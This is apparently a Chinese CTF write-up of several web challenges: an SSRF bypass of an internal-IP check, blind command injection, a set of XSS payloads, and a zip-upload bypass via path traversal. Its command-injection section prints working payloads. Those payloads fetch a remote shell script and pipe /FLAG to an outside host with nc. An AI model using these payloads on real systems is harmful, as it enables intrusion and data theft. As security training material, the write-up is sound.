WEB进阶1
<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
?>
正则匹配:
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
写一个脚本测试:
<?php
$url = 'http://a:127.0.0.1:[email protected]/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
回显:
Array
(
[scheme] => http
[host] => hostname
[user] => a
[pass] => 127.0.0.1:80
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
check检测到的值为['host']:www.baidu.com,而curl抓到的值为127.0.0.1,从而进行绕过。
http://a:@127.0.0.1:[email protected]/flag.php
ping命令执行,但是没有回显。
存在WAF过滤字符,通过%0a绕过过滤并拼接命令,由于没有回显,只能考虑外带。
wp中使用了curl外带的方式。
编辑1.sh
ls
cat /FLAG | nc xx.xx.xxx.xx 8089
执行Ping命令
ip=127.0.0.1%0acurl+xx.xx.xxx.xx/1.sh+>+/tmp/1.sh
给bash添加权限
127.0.0.1%0achmod+777+/tmp/1.sh
监听
nc -lnvp 8089
执行bash文件
127.0.0.1%0ash+/tmp/1.sh
payload1:
?username=<script>alert(1);</script>
payload2:
XSS语句已经在script中,直接闭合后alert
?username=xss%27;alert(1);//
payload3:
DOMXSS,插入img
?username=xss<img%20onerror=alert(1)%20src=1>
payload4:
js跳转,使用javascript伪协议
?jumpUrl=javascript:alert()
payload5:
表单自动提交,action可控,提交到伪协议。
?action=javascript:alert()&autosubmit=1
payload6:
angular二次渲染导致XSS:
?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
这题还是让我学到了不少技巧的。
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
if(!$_FILES){
echo '
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>文件上传章节练习题</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<style type="text/css">
.login-box{
margin-top: 100px;
height: 500px;
border: 1px solid #000;
}
body{
background: white;
}
.btn1{
width: 200px;
}
.d1{
display: block;
height: 400px;
}
</style>
</head>
<body>
<div class="container">
<div class="login-box col-md-12">
<form class="form-horizontal" method="post" enctype="multipart/form-data" >
<h1>文件上传章节练习题</h1>
<hr />
<div class="form-group">
<label class="col-sm-2 control-label">选择文件:</label>
<div class="input-group col-sm-10">
<div >
<label for="">
<input type="file" name="file" />
</label>
</div>
</div>
</div>
<div class="col-sm-8 text-right">
<input type="submit" class="btn btn-success text-right btn1" />
</div>
</form>
</div>
</div>
</body>
</html>
';
show_source(__FILE__);
}else{
$file = $_FILES['file'];
if(!$file){
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
}
}
if(!is_dir($dir)){
mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}
check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}
代码比较长,重新排版审计一下,留下关 键WAF函数
<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
$file = $_FILES['file'];
// 空文件上传检测
if(!$file){
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
}
}
if(!is_dir($dir)){
mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999)); // 解压到随机生成的目录,不能使用条件竞争
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){ // 白名单验证后缀
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){ //过滤zip文件中的php文件,但是有$,可以用其他后缀绕过
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { // 解压zip中文件
check_dir($dir);
exit("解压失败");
}
check_dir($dir); // 再次检测文件
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
简单概括一下WAF,首先是有一个白名单后缀检测,只允许上传图片以及压缩包;且如果压缩包的后缀以php结尾,就会解压失败并报错。解压结束后,再次调用检查函数对该压缩包解压出的文件进行删除。考虑这里可能会存在条件竞争。
接着往下分析,解压目录在一个随机生成的文件夹下,所以没有办法进行条件竞争,无法获取到文件夹的名字。
这里用到的第一个漏洞就是Apache多后缀文件解析漏洞,这个漏洞已经烂大街了就不解释了,版本号在1.x到2.x之间,刚好符合。
由于解压后会再次调用检查函数在随机生成的文件夹下进行扫描,看似无解,但是可以利用目录穿越的骚姿势绕过。压缩后,使用010 Editor修改文件名。
穿越目录上传后访问根目录下文件即可获得flag。
Last modified 8mo ago